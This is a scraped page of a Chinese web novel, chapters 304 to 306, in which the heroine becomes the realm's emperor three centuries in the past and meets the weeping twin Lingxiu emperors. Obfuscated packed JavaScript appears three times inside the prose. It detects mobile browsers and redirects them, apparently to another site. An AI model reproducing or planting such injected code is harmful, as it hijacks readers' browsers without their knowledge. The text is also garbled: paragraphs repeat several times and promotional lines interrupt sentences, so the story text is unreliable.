d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218542|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 更无半点想要开口的欲望。 她的念头乃至情绪都在与这具身子拉扯一面是自己一面又归从于两种截然相反的道下。 被这种感觉扯的神魂一阵一阵的撕痛。 而她这副睥睨万物万事波澜不惊的模样落在三个少年眼中—— 高深莫测! 威武霸气! 唯我独尊! 顶顶牛逼! 暮殇羞涩的扭着身子双手捧脸:“啊啊啊啊啊啊!吾皇好帅啊!吾皇在看我!” 辛熠抬起翅膀给他一个大逼兜:“用得着你说!吾皇本来就帅!还有!你特么踩到我翅膀了!把你的臭脚挪开!” 绯雨:“你俩滚开!不要挡着吾皇看我!” 江献晚:“……” 这特么是……三王?! 江献晚眸光莫名的看着突然扭打在一起的三个少年手指忽然不由自控一动……挥手一记灵力呼啦啦将那一团人魔妖扇飞。 吐出两个莫得感情的字。 “聒噪!” 江献晚:“……” 三个自由落地的少年:“啊啊啊啊啊啊啊啊啊!更帅了!” 江献晚:“……” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 再次沉默。 她身形一闪,出现在三个少年身前,竭力从口中挤出一个字。 一开口,声音淡漠,根本挤不出一丝一毫的任何情绪。 “说!” 说! 她在哪! 她在做什么! 就凭这三个如此熟悉的脑回路,定然小嘴叭叭叭的就说了。 果然,以一种奇异姿势,穿插在一起的三个少年,一点都没叫她失望。 暮殇:“吾皇,我就是来跟你说一下,敌军节节败退,我方大获全胜!” 辛熠:“我在路上看到魔皇那狗东西跑的撒丫子快,气的吐了两盆血!” 绯雨:“咱们晚上吃烤肉吗?我新学了一支舞蹈!” 暮殇辛熠:“蠢货!吾皇从来不吃烧烤!还有!那舞蹈明明是我编的!” 江献晚:“……” 看着再次扭打在一起,一边扯对方遮羞布,一边骂骂咧咧的三个少年。 听了一会儿,她得出两条信息。 一、人暮殇,妖辛熠,魔绯雨,也就是现在的界域三王,只不过此刻皆是葱嫩葱嫩,一掐出水的少年模样。 二、她现在在魔域大本营,魔皇被她打了,割地求和,这些魔和魔兽也是她杀的。 江献晚低头盯着指尖的血迹。 终于确定,她成了界域的皇。 而这里,是三百年前的界域。 第 304 章 灵休帝尊 天道将她送来这里做什么? 界皇与她…… 江献晚被暮殇他仨吵的脑壳疼。 抬眸看了一眼那条长眠之河,滑过黑森林,眨眼消失在原地。 界域不同于其他境域,风格复杂而鲜明,热闹的活似来到了凡间菜市场。 而界域中心,也就是界都,名为界中界。 界皇住所,显而易见,更是分明。 圣坛中央界碑高达百丈,那给人一种看似几百步,实则在空中呈微妙折叠感的台阶,实则有万,直通云霄。 江献晚闪身一步踏入殿中,有种登天的错觉。 这尼玛……比帝隐和云为泽的浮殿还特么高! 神识铺展开,三十三座宫殿无一活物。 当然,除了她。 单凭着身体的本能,江献晚直入界皇寝殿,来到镜子前,揭了脸上的面具。 果然是她自己。 界皇长的同她一样? 还是天道篡改了这个世界对界皇的记忆? 亦或者…… 江献晚忽然阖落半扇睫毛,明明该是烦躁、担忧……各种各样的情绪,心底却掀不起半点波澜。 可以确定的是,江行行暂时不会有任何危险。 天道既然提行行,以此要挟使唤她掏力,来达成某些事之前,便不会让行行出事。 只是,她被天道扯进缝隙时,让帝隐他们等她,但现在她与狐狸之间的灵契,仿佛被斩断一般,无法感觉到彼此的存在。 不知他们会如何忧心。 没了墓碑,虚古境的死气又该如何,那三支箭矢恐怕还无法杀死林轻染。 江献晚心底愈发烦躁。 她不知那蚌壳中之物,到底是何物。 天道为何又要拿这个来要挟她,将她送到三百年前。 **让做什么,透露一句能死吗? 阻止那场大战? 还是一统三境三域? 江献晚一步一步行出,眺望这方广袤的土地。 街道上跑的,树杈上骑的,屋顶上趴的,天上飞的……人魔妖皆有。 皆是从头到脚,裹着一身黑布,口中叽里咕噜,那叫一个 热热闹闹肆意洒脱。 是鲜活的生命,存在过的痕迹。 很难想象,界域在那场大战中,**多少人魔妖。 她眸光自然而然落在圣坛那百丈界碑之上,心绪细微的波动了一下,指尖轻轻一弹。 这座界碑,正是墓碑的加大版。 书中,林轻染点亮的,就是它。 传说这界碑乃界皇亲手所铸。 而那足足一万的台阶,是整个界域修士自发亲手搭建,承载着他们的信仰之力。 若想继承下一任界皇,需点亮界碑,一步一叩,问登三十三座殿。 为界域所有修士和界皇认可,缺一不可。 随着一缕灵力没入,古朴的石碑宛如通了电,碑身光芒大盛,并不刺目,却似一声清亮长吟,直透九重天阙。 其磅礴之势化作肉眼可见的波纹,朝着整个界域轰然荡开。 与此同时,那蜿蜒而上的万丈台阶次第亮起,宛若一条自人间奔腾而起的璀璨星河,最终与九天银河强行贯通、衔接。 江献晚来不及震撼。 紧随其来,落入耳畔的是—— 刹那间沸腾的界域。 “啊啊啊啊啊啊!吾皇!” “嗷嗷嗷嗷嗷嗷!是吾皇——!” “啊啊啊啊啊啊啊啊啊!吾皇!您回来了!” “吾皇!我爱你!啊啊啊啊啊啊!” “吾皇!我顶天立地无所不能的皇!今晚我要为您献舞一曲!” “啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊!” “嗷嗷嗷嗷嗷嗷嗷嗷嗷嗷嗷嗷嗷嗷!” 江献晚:“……” 她现在的修为,足以轻而易举,将那些群魔乱舞的人魔妖尽收眼底。 亦能清晰感受到,他们这一刻的开心和信仰之力的沸腾喧嚣。 是对自家皇的绝对追随。 江献晚想勾勾唇角,奈何,这具身子却笑不出来。 双手抱臂,斜倚凭栏,神识铺笼罩整个界域,静眼看着他们狂摆手臂、原地蹦跳、吵吵闹闹。 正在此时,一缕极淡的沉凝气息突兀出现在背后。 她下意识侧眸 ,那道颀长的身影,便猝不及防,闯入视线。 这一刻,万物在她耳中,皆沦为寂静。 江献晚眸光闪过一丝什么,想站直身,身子却不由己控,丝毫不动。 只能由着这种姿势,抬眸。 那人立于虚空之上,仿佛是宇宙静止的轴心。 一轮巨大的银月在他身后粲然高悬,清冷的光辉将他周身轮廓勾勒出一圈朦胧而神性的银边。 月华如水,汲取了星夜之力,在那袭玄色广袖道袍,流淌不息。 身姿挺拔清隽,犹如松枝凝霜,瞧着不过少年样貌。 半张银白色的面具遮去他鼻梁以上的容颜,只露出下半张脸。 那下颌的线条利落如刀裁,肤色是冷调的玉白,是冷玉雕琢的杰作,毫无瑕疵。 双眸沉凝如渊,望之如坠无底寒潭,唇线薄而锋利,紧抿时透着一种近乎无情的决绝。 墨瀑长发仅用一柄乌沉沉的木簪松松挽住,几缕碎发从额角垂下,更添几分令人不敢直视的冷峻。 削瘦的指骨间,执着一张隐有淡金色流光无声游走的弓。 江献晚面上波澜不惊,心中却是一怔。 厄弓? 灵休帝尊?! ,那道颀长的身影,便猝不及防,闯入视线。 这一刻,万物在她耳中,皆沦为寂静。 江献晚眸光闪过一丝什么,想站直身,身子却不由己控,丝毫不动。 只能由着这种姿势,抬眸。 那人立于虚空之上,仿佛是宇宙静止的轴心。 一轮巨大的银月在他身后粲然高悬,清冷的光辉将他周身轮廓勾勒出一圈朦胧而神性的银边。 月华如水,汲取了星夜之力,在那袭玄色广袖道袍,流淌不息。 身姿挺拔清隽,犹如松枝凝霜,瞧着不过少年样貌。 半张银白色的面具遮去他鼻梁以上的容颜,只露出下半张脸。 那下颌的线条利落如刀裁,肤色是冷调的玉白,是冷玉雕琢的杰作,毫无瑕疵。 双眸沉凝如渊,望之如坠无底寒潭,唇线薄而锋利,紧抿时透着一种近乎无情的决绝。 墨瀑长发仅用一柄乌沉沉的木簪松松挽住,几缕碎发从额角垂下,更添几分令人不敢直视的冷峻。 削瘦的指骨间,执着一张隐有淡金色流光无声游走的弓。 江献晚面上波澜不惊,心中却是一怔。 厄弓? 灵休帝尊?! ,那道颀长的身影,便猝不及防,闯入视线。 这一刻,万物在她耳中,皆沦为寂静。 江献晚眸光闪过一丝什么,想站直身,身子却不由己控,丝毫不动。 只能由着这种姿势,抬眸。 那人立于虚空之上,仿佛是宇宙静止的轴心。 一轮巨大的银月在他身后粲然高悬,清冷的光辉将他周身轮廓勾勒出一圈朦胧而神性的银边。 月华如水,汲取了星夜之力,在那袭玄色广袖道袍,流淌不息。 身姿挺拔清隽,犹如松枝凝霜,瞧着不过少年样貌。 半张银白色的面具遮去他鼻梁以上的容颜,只露出下半张脸。 那下颌的线条利落如刀裁,肤色是冷调的玉白,是冷玉雕琢的杰作,毫无瑕疵。 双眸沉凝如渊,望之如坠无底寒潭,唇线薄而锋利,紧抿时透着一种近乎无情的决绝。 墨瀑长发仅用一柄乌沉沉的木簪松松挽住,几缕碎发从额角垂下,更添几分令人不敢直视的冷峻。 削瘦的指骨间,执着一张隐有淡金色流光无声游走的弓。 江献晚面上波澜不惊,心中却是一怔。 厄弓? 灵休帝尊?! ,那道颀长的身影,便猝不及防,闯入视线。 这一刻,万物在她耳中,皆沦为寂静。 江献晚眸光闪过一丝什么,想站直身,身子却不由己控,丝毫不动。 只能由着这种姿势,抬眸。 那人立于虚空之上,仿佛是宇宙静止的轴心。 一轮巨大的银月在他身后粲然高悬,清冷的光辉将他周身轮廓勾勒出一圈朦胧而神性的银边。 月华如水,汲取了星夜之力,在那袭玄色广袖道袍,流淌不息。 身姿挺拔清隽,犹如松枝凝霜,瞧着不过少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218543|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年样貌。 半张银白色的面具遮去他鼻梁以上的容颜,只露出下半张脸。 那下颌的线条利落如刀裁,肤色是冷调的玉白,是冷玉雕琢的杰作,毫无瑕疵。 双眸沉凝如渊,望之如坠无底寒潭,唇线薄而锋利,紧抿时透着一种近乎无情的决绝。 墨瀑长发仅用一柄乌沉沉的木簪松松挽住,几缕碎发从额角垂下,更添几分令人不敢直视的冷峻。 削瘦的指骨间,执着一张隐有淡金色流光无声游走的弓。 江献晚面上波澜不惊,心中却是一怔。 厄弓? 灵休帝尊?! ,那道颀长的身影,便猝不及防,闯入视线。 这一刻,万物在她耳中,皆沦为寂静。 江献晚眸光闪过一丝什么,想站直身,身子却不由己控,丝毫不动。 只能由着这种姿势,抬眸。 那人立于虚空之上,仿佛是宇宙静止的轴心。 一轮巨大的银月在他身后粲然高悬,清冷的光辉将他周身轮廓勾勒出一圈朦胧而神性的银边。 月华如水,汲取了星夜之力,在那袭玄色广袖道袍,流淌不息。 身姿挺拔清隽,犹如松枝凝霜,瞧着不过少年样貌。 半张银白色的面具遮去他鼻梁以上的容颜,只露出下半张脸。 那下颌的线条利落如刀裁,肤色是冷调的玉白,是冷玉雕琢的杰作,毫无瑕疵。 双眸沉凝如渊,望之如坠无底寒潭,唇线薄而锋利,紧抿时透着一种近乎无情的决绝。 墨瀑长发仅用一柄乌沉沉的木簪松松挽住,几缕碎发从额角垂下,更添几分令人不敢直视的冷峻。 削瘦的指骨间,执着一张隐有淡金色流光无声游走的弓。 江献晚面上波澜不惊,心中却是一怔。 厄弓? 灵休帝尊?! ,那道颀长的身影,便猝不及防,闯入视线。 这一刻,万物在她耳中,皆沦为寂静。 江献晚眸光闪过一丝什么,想站直身,身子却不由己控,丝毫不动。 只能由着这种姿势,抬眸。 那人立于虚空之上,仿佛是宇宙静止的轴心。 一轮巨大的银月在他身后粲然高悬,清冷的光辉将他周身轮廓勾勒出一圈朦胧而神性的银边。 月华如水,汲取了星夜之力,在那袭玄色广袖道袍,流淌不息。 身姿挺拔清隽,犹如松枝凝霜,瞧着不过少年样貌。 半张银白色的面具遮去他鼻梁以上的容颜,只露出下半张脸。 那下颌的线条利落如刀裁,肤色是冷调的玉白,是冷玉雕琢的杰作,毫无瑕疵。 双眸沉凝如渊,望之如坠无底寒潭,唇线薄而锋利,紧抿时透着一种近乎无情的决绝。 墨瀑长发仅用一柄乌沉沉的木簪松松挽住,几缕碎发从额角垂下,更添几分令人不敢直视的冷峻。 削瘦的指骨间,执着一张隐有淡金色流光无声游走的弓。 江献晚面上波澜不惊,心中却是一怔。 厄弓? 灵休帝尊?! ,那道颀长的身影,便猝不及防,闯入视线。 这一刻,万物在她耳中,皆沦为寂静。 江献晚眸光闪过一丝什么,想站直身,身子却不由己控,丝毫不动。 只能由着这种姿势,抬眸。 那人立于虚空之上,仿佛是宇宙静止的轴心。 一轮巨大的银月在他身后粲然高悬,清冷的光辉将他周身轮廓勾勒出一圈朦胧而神性的银边。 月华如水,汲取了星夜之力,在那袭玄色广袖道袍,流淌不息。 身姿挺拔清隽,犹如松枝凝霜,瞧着不过少年样貌。 半张银白色的面具遮去他鼻梁以上的容颜,只露出下半张脸。 那下颌的线条利落如刀裁,肤色是冷调的玉白,是冷玉雕琢的杰作,毫无瑕疵。 双眸沉凝如渊,望之如坠无底寒潭,唇线薄而锋利,紧抿时透着一种近乎无情的决绝。 墨瀑长发仅用一柄乌沉沉的木簪松松挽住,几缕碎发从额角垂下,更添几分令人不敢直视的冷峻。 削瘦的指骨间,执着一张隐有淡金色流光无声游走的弓。 江献晚面上波澜不惊,心中却是一怔。 厄弓? 灵休帝尊?! 第 305 章 麻烦 江献晚:“……” 不是。 她才刚来,就这么水灵灵的碰见活的灵休帝尊了? 三境实力最强,绝对碾压其他两帝的中州之主,灵休帝尊?! 活生生站在她眼前的灵休帝尊! 江献晚觉得自己的眸光,此刻应当是,亲眼看到传说中、活的灵休帝尊的炽热。 实则依旧……平静无波。 眼前充满神性的少年,仿佛于她眸中也不过是沧海一粟。 不过。 他就这么大咧咧的闯入三十三座殿,又是做什么? 打架? 不像。 单凭他手中厄弓的反应,给她一种,下一秒恨不能冲到她怀里,又不敢冲的欢喜,只能在那削瘦的指骨中颤栗不止。 同时。 她心底竟有种无比确定的念头: 这个少年,就是死,也绝对不会将自己的法器,朝向她。 难不成,那些传言都是真的,灵休帝尊与界皇之间,有不可言说的关系? 两双目光在嗷若疯狗的呼喊声中无声交汇,隔尽荒芜的岁月,隔尽千沟万壑的往事。 谁都没有动作。 江献晚却清晰的察觉到,在他出现的那一瞬间起,心底陡然浮出一丝强烈的烦躁,指尖控制不住,难耐一蜷。 是这具身体,看到面前少年,本能的情绪反应。 脑中更是再次跳出一个念头:麻烦。 对。 就是麻烦。 像是一个甩不掉的累赘,一个摆脱不了的麻烦,无数次无休止的出现在她面前。 但,不是厌恶。 更不是讨厌。 只是,有人,绊住了她的脚。 在她本该寂静的心湖,一次次掀起不该有的、多余的波澜。 江献晚淡漠的看着他,脑中早已是一团理不出那根线头的乱麻。 而那极为清隽的身形,终于动了。 暮雪沉钟般的少年,仿佛骤然有了裂痕。 一双流利的墨色瞳眸,似被春风惊动的深潭,以肉眼可见的速度漫上红潮,水光乍涌,却又被他死死噙住。 下唇 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 被咬的微微下陷强忍着一触即发的溃决。 薄唇几不可察地轻轻蠕动像是怕惊扰了空气。 气息轻得如同蝶翅的一次触碰仿佛每一个音节都需要耗尽莫大的勇气来温柔托付。 与他周身拒人千里的冷冽气场南辕北辙。 宛如坚硬的陨石内核里藏着一捧颤动的暖泥。 最终一句沙哑却异常小心、近乎气声的话语 “你又去了哪里。” 不是质问不是疑问。 裹挟着全部的不安与期待并非寻求答案是一种近乎脆弱的试探。 像冬日里呵出的一小团暖雾一丝堪堪绷紧又害怕断裂的蛛丝。 可怜又小心地递出来渴望被接住的、颤抖的开场白。 全无他面容上半分冷冽的痕迹。 江献晚:“……” 又? 灵休帝尊在她眼前是这样? 这样千山暮雪般的一个少年明明不该是这样…… 她心绪一团空白站在原地一动不动。 不知该怎么接下自己的身子更没有开口的想法。 目光只淡漠的落在他身上像是看一粒尘埃。 尝试着走动两步双脚却生了根一般挪不动半寸。 尝试着开口嘴巴与她的心对着干一个字也不愿吐露。 正在这时暮殇他们三个嗷嗷地一边扭打滚作一团直滚过圣坛撞在台阶堪堪停下。 蹭地分开一致叉腰跳脚。 绯雨:“吾皇!嗷嗷!打死他!” 暮殇:“扇他脸!” 辛熠:“对!多扇两下!看他还敢不敢再来!” 中州的帝尊守着自己家不要天天偷跑到他们家没脸没皮的痴缠他们皇! 赶都赶不走! 闲出屁了! 有没有点对自个清晰的认知和定位! 这里是界域不是他们中州! 谁家帝尊放着自个的家整日没事跑人家家里跑? 当这是他们家呢? 还是当三十三殿是中州后花园他想逛就逛? 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 三个少年意见难得一致。 跳的高。 叫的还响。 闻言,灵休帝尊睫毛一颤,浓密如鸦羽的睫毛垂覆下来,急促地轻簌。 却又不舍得移开,近乎执拗而仓皇的掀起眼帘,看着那双眼睛。 除了一片淡漠和死寂,任凭他如何努力,都寻不到任何一丝其他的痕迹。 他五指缓缓收拢,紧紧攥着厄弓,不肯转身,不肯离开,只有苍白的面容上,那点惊慌无处遁形。 仿佛下一刻就会有泪珠承受不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16228761|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住重量,从那颤动的睫毛上滚落。 他知道。 他和哥哥偷偷跑过来,偷偷躲在界域。 姐姐定然还会赶他们走。 谁都可以待在姐姐身边,唯独他与哥哥不行。 从来,都是这样。 而江献晚来不及看清他眼底的湿痕,竟有种不扇出一巴掌,就很不对的错觉。 啪! 随着暮殇三个叽叽喳喳的吵闹声,仿佛被什么驱使般,看也不看,自己都未能反应过来,袖子不由控制一挥。 一个大逼斗…… 将暮殇三个,呈抛物状呼啦啦扇出圣坛! “聒噪。” 余光瞥见呈抛物线被挥出圣坛的三个少年,江献晚:“……!” 她是谁? 她在哪? 她方才做了什么? 不该是扇走灵休帝尊吗? 令她更绝望的是,挥出的手还未收回,不见如何动作……身形如同鬼魅,错身一闪。 被狗撵一般,自个突然……转身……跑了? 江献晚:“……!” 不啊! 她跑什么? 一个字都不说,就这么水灵灵的跑了? 屁股还没暖热呢! 家不要了! 很快。 她就知道她跑什么了。 这具身体明显不想看到灵休帝尊。 就像是见到一个永远都甩不掉的粘糕,只能次次避而不见,要么丟到天边。 半年不着家,着家屁股还没暖热,又再次毫不犹豫,飞掠而去。 方向正是界域边境! 江献晚:“……!” 刹不住。 根本刹不住! 望着眨眼消失在视线的身影,肃杀沉沉的少年,那双总是沉凝如寒渊,或锐利如鹰隼的眸子。 此刻竟在刹那间漫上一层破碎的水光,湿红的眼眶再也囚不住那汹涌的酸楚。 他骨节分明的手指遮了遮面具,像是想将那种被无数次丢弃、埋藏在心头的痛楚,努力一下子全摁回去。 没有哭出声,只是死死咬着牙,下颌绷成一道凌厉而脆弱的线条,所有的痛苦都压抑在喉间无声的震颤里。 夜风卷的玄色衣袍,猎猎作响,身形宛如秃鹜,追了上去。 反正,他和哥哥早就习惯了。 习惯姐姐每次都会丢下他们,或是赶走他们。 习惯每个日日夜夜的空旷等候,次次落空的期盼和被丢弃。 第 306 章 双生 月已上了中天,清辉洒落,霜色一般铺满了三十三座殿。 一前一后,两道身影,似两缕淡淡的烟,急得连月光都要在身后断裂、复合,再断裂。 只是,江献晚身形方一动,还没跑出三十三座殿这片区域,那少年便早已料到般。 察觉到瞬间欺近的气息,心底不由感叹,龙族在速度方面,实在强悍的恐怖。 是的,灵休帝尊看起来还是血脉极为纯正的龙族。 因为她余光好像看到他鬓角,突然隐几片有熠熠的龙鳞浮现一刹。 可,这具身子不愿面对他,又算什么办法? 宁肯离家出走,也不愿见到他? 江献晚脑子里乱做一团,同时,她这具身子,再次违背心绪,做出了反应。 足尖轻踏,空间扭曲成无数肉眼可见的纹路,回身间,重拳出击。 轰—— 突兀的爆裂气劲,发出一声令人心悸的爆鸣。 磅礴的气劲悍然炸开,化作肉眼可见的冲击波纹,疯狂地排挞而去。 江献晚心头一震,被自己连番出其不意的举动惊到! 更让她心跳加快的是,他竟然傻乎乎的停了下来! 就乖乖站在那里,没有半点还手的迹象,更不用灵力护体。 心甘情愿的一一受了。 江献晚拼命想收手。 甚至想要闭上眼睛,不忍再看。 而将至的拳风,在即将触碰到那身姿挺拔的少年,猛地随着她拳头又是突然的收回,只将他咫尺的空间留下不堪重负的碎裂声。 江献晚身形稳住,便看到了他光洁的下颌,有断了线的泪珠,一滴一滴,混着唇瓣被咬出来的血液淌落。 他就安静的站在那里,湿漉漉的眸子安静地望着她,像是被雨水浸透的残破蝶翼,徒留一身蒙尘的枯槁。 仿佛她是这片废墟里唯一残存的坐标,又像是给予他致命一击的、温柔的刃。 嗓音透出一种近乎虚弱的苍白,每一次振动都透出筋疲力尽的衰竭。 让人联想到耗尽灯油的枯盏,或是皲裂土地上最后一道即将湮灭的水痕。 “姐姐,你又要走吗?” 江献晚:“……!” 姐姐。 灵休帝尊喊她姐姐? 他与界皇…… 还是他与自己…… 看着那双湿漉漉,明明该是委屈,却写满无尽依恋与柔软的眸。 江献晚心头如遭雷击,真的很想踉跄两步。 甚至不知自己此刻该想些什么,做些什么。 她想看一看自己的手,身子却再次不由己控,脱身离开。 毫不留恋转身的那一刹那……脚步倏尔一停。 江献晚:“……!” 无人知晓她此刻心底来的有多震撼。 更无人知晓她的仓皇和狼狈,想要逃避。 仿佛最后遮蔽的天幕,于她眼前被骤然撕开。 连同她所认知的一切都彻底淹没、涤荡。 那些曾坚信不疑的平淡以往,这么多的岁月,如同沙堡般轰然坍塌。 望着突然出现在视线,除了衣服的颜色,身高体型,半张脸,头发丝乃至修为都与她身后那个少年,一模一样的灵休帝尊。 大脑宕机。 一片空旷。 灵休帝尊是……两个?! 双生子! 快乐加倍! 界皇还看不上! 那悬跟在他身侧,见到她想靠近又不敢的剑,赫然是……痕剑! 痕剑与厄弓皆是灵休帝尊的灵器? 它们俩都与双生子契约,亦能共享,所以她契约痕剑时,眉心才会出现两个金印?! 如果不是神识中的痕剑,随着她来到这里,跟着消失不见,她真的很想仔仔细细对比一下! 可她这具身子不想。 却又在亲眼看到两个灵休帝尊出现在眼前终于是,短暂的掌控了这个身体。 踉跄退了一步。 那眉眼柔软的少年,似乎早有预料般,像是特意等在此处。 一袭素白流云锦袍,仿佛新雪初霁,映着天光,渐渐从林间转出。 眉目身形轮廓与之如出一辙,眼眸剔透,清澈见底,薄唇天然带着一点上翘的弧度,极为柔和。 墨发仅用一根冰蚕丝随意束在脑后,几缕乌丝拂过光洁的额角与冰雪般的脸颊,如同月华精魄凝形,又恍 若天地间最澄净的一捧新雪落成了人形。 那是一种剔透又纯粹的美,干净得让人自惭形秽,仿佛多看一眼都是惊扰。 气质迥异,呈现出全然不同的韵味。 他只看了她身后少年一眼,可怜的确定什么。 在触碰到她眸光的刹那,惶然得如一只被雨水打湿了羽毛的雏鸟。 一双澄澈的眼眸蒙上了层层水光,湿漉漉地望着人。 近乎透明冷白的半张面容,惊慌无处遁形,如身后少年,如出一辙,全然复刻。 玉白的指骨珍之又重捏紧了手里的九子攒盒,光洁的下颌上还沾着一点来不及擦拭的面粉痕迹。 身形尽数显露出,整个人都散发出一种易碎而纯净的哀怜,像是一件精美却即将碎裂的瓷器。 又同样死死噙住了眼底的水光。 吐出的声音极轻极缓,没有半分力道,轻得像坠落的尘埃,透着一股精心斟酌过的柔软,和小心翼翼的试探。 “姐姐,我,我和休寅做了糕点。” 曜灵局促的擦了一下脸,唇角努力弯出一个软软的笑。 “姐姐尝一尝好不好?” “一口就好的。” 眼底的泪,却是要崩了。 江献晚:“……” 曜灵。 休寅。 灵休帝尊。 望着一玄一白,于她身后身前,一沉凝一空灵的少年。 明明是一幅绝美梦幻,极为赏心悦目的画卷。 她的心开始想逃,身体反而稳稳伫立。 眼睁睁的看着那雪肤墨发,唇角努力弯着柔软小弧度的少年,恍若走向唯一的光,小心翼翼向她走来。 甚至以卑躬屈膝的姿态,弓下脊背,压低头颅,轻轻的将下颌搭在她肩头,像是触碰一片转眼就能消失的雪花。 “姐姐,不要走……不要走好不好……” “曜灵真的很想……很想姐姐……” 那许多压抑的心绪陡然哽咽着轻声诉出,江献晚腰间便又多出一双颤抖的手。 背后微凉的气息,恍若林涧最孤冷的松香,随着踉跄的步履,轻轻环拥住了她。 下颌搭在她另一处肩头。 泪瞬间打湿她的衣料,也浇在心上。 “姐姐……不要赶我们走……求你……” “能不能不走了……” 若天地间最澄净的一捧新雪落成了人形。 那是一种剔透又纯粹的美,干净得让人自惭形秽,仿佛多看一眼都是惊扰。 气质迥异,呈现出全然不同的韵味。 他只看了她身后少年一眼,可怜的确定什么。 在触碰到她眸光的刹那,惶然得如一只被雨水打湿了羽毛的雏鸟。 一双澄澈的眼眸蒙上了层层水光,湿漉漉地望着人。 近乎透明冷白的半张面容,惊慌无处遁形,如身后少年,如出一辙,全然复刻。 玉白的指骨珍之又重捏紧了手里的九子攒盒,光洁的下颌上还沾着一点来不及擦拭的面粉痕迹。 身形尽数显露出,整个人都散发出一种易碎而纯净的哀怜,像是一件精美却即将碎裂的瓷器。 又同样死死噙住了眼底的水光。 吐出的声音极轻极缓,没有半分力道,轻得像坠落的尘埃,透着一股精心斟酌过的柔软,和小心翼翼的试探。 “姐姐,我,我和休寅做了糕点。” 曜灵局促的擦了一下脸,唇角努力弯出一个软软的笑。 “姐姐尝一尝好不好?” “一口就好的。” 眼底的泪,却是要崩了。 江献晚:“……” 曜灵。 休寅。 灵休帝尊。 望着一玄一白,于她身后身前,一沉凝一空灵的少年。 明明是一幅绝美梦幻,极为赏心悦目的画卷。 她的心开始想逃,身体反而稳稳伫立。 眼睁睁的看着那雪肤墨发,唇角努力弯着柔软小弧度的少年,恍若走向唯一的光,小心翼翼向她走来。 甚至以卑躬屈膝的姿态,弓下脊背,压低头颅,轻轻的将下颌搭在她肩头,像是触碰一片转眼就能消失的雪花。 “姐姐,不要走……不要走好不好……” “曜灵真的很想……很想姐姐……” 那许多压抑的心绪陡然哽咽着轻声诉出,江献晚腰间便又多出一双颤抖的手。 背后微凉的气息,恍若林涧最孤冷的松香,随着踉跄的步履,轻轻环拥住了她。 下颌搭在她另一处肩头。 泪瞬间打湿她的衣料,也浇在心上。 “姐姐……不要赶我们走……求你……” “能不能不走了……” 若天地间最澄净的一捧新雪落成了人形。 那是一种剔透又纯粹的美,干净得让人自惭形秽,仿佛多看一眼都是惊扰。 气质迥异,呈现出全然不同的韵味。 他只看了她身后少年一眼,可怜的确定什么。 在触碰到她眸光的刹那,惶然得如一只被雨水打湿了羽毛的雏鸟。 一双澄澈的眼眸蒙上了层层水光,湿漉漉地望着人。 近乎透明冷白的半张面容,惊慌无处遁形,如身后少年,如出一辙,全然复刻。 玉白的指骨珍之又重捏紧了手里的九子攒盒,光洁的下颌上还沾着一点来不及擦拭的面粉痕迹。 身形尽数显露出,整个人都散发出一种易碎而纯净的哀怜,像是一件精美却即将碎裂的瓷器。 又同样死死噙住了眼底的水光。 吐出的声音极轻极缓,没有半分力道,轻得像坠落的尘埃,透着一股精心斟酌过的柔软,和小心翼翼的试探。 “姐姐,我,我和休寅做了糕点。” 曜灵局促的擦了一下脸,唇角努力弯出一个软软的笑。 “姐姐尝一尝好不好?” “一口就好的。” 眼底的泪,却是要崩了。 江献晚:“……” 曜灵。 休寅。 灵休帝尊。 望着一玄一白,于她身后身前,一沉凝一空灵的少年。 明明是一幅绝美梦幻,极为赏心悦目的画卷。 她的心开始想逃,身体反而稳稳伫立。 眼睁睁的看着那雪肤墨发,唇角努力弯着柔软小弧度的少年,恍若走向唯一的光,小心翼翼向她走来。 甚至以卑躬屈膝的姿态,弓下脊背,压低头颅,轻轻的将下颌搭在她肩头,像是触碰一片转眼就能消失的雪花。 “姐姐,不要走……不要走好不好……” “曜灵真的很想……很想姐姐……” 那许多压抑的心绪陡然哽咽着轻声诉出,江献晚腰间便又多出一双颤抖的手。 背后微凉的气息,恍若林涧最孤冷的松香,随着踉跄的步履,轻轻环拥住了她。 下颌搭在她另一处肩头。 泪瞬间打湿她的衣料,也浇在心上。 “姐姐……不要赶我们走……求你……” “能不能不走了……” 若天地间最澄净的一捧新雪落成了人形。 那是一种剔透又纯粹的美,干净得让人自惭形秽,仿佛多看一眼都是惊扰。 气质迥异,呈现出全然不同的韵味。 他只看了她身后少年一眼,可怜的确定什么。 在触碰到她眸光的刹那,惶然得如一只被雨水打湿了羽毛的雏鸟。 一双澄澈的眼眸蒙上了层层水光,湿漉漉地望着人。 